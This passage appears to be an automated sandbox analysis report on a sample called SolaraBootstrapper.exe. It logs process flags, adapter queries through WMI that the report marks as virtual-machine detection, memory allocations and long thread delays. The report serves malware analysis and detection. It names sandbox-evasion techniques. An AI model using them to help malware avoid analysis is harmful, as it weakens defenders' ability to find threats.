Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\systeminfo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : ASSOCIATORS OF {Win32_NetworkAdapter.DeviceID="1"} WHERE ResultClass=Win32_NetworkAdapterConfiguration
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_NetworkAdapterSetting where Element="Win32_NetworkAdapter.DeviceID=\"1\""

Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Memory allocated: CA0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Memory allocated: 2990000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Memory allocated: 4990000 memory reserve \| memory write watch
Source: C:\agentInto\fontsessionruntime.exe	Memory allocated: 1270000 memory reserve \| memory write watch
Source: C:\agentInto\fontsessionruntime.exe	Memory allocated: 1AD20000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 600000
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 599875
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 599765
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 599656
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 599547
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 599437
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 599328
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 599218
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 599109
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 598999
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 598877
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 598759
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 598640
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 598529
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 598417
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 598302
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 597969
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 597797
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 597609
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 597390
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 597234
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 597013
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 596828
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 596635
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 596359
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 596156
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 595922
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 595424
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 595293
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 595125
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 594956
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 594778
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 594638
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 594406
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 594234
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 594075
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 593928
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 593789
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 593666
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 593540
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 593382
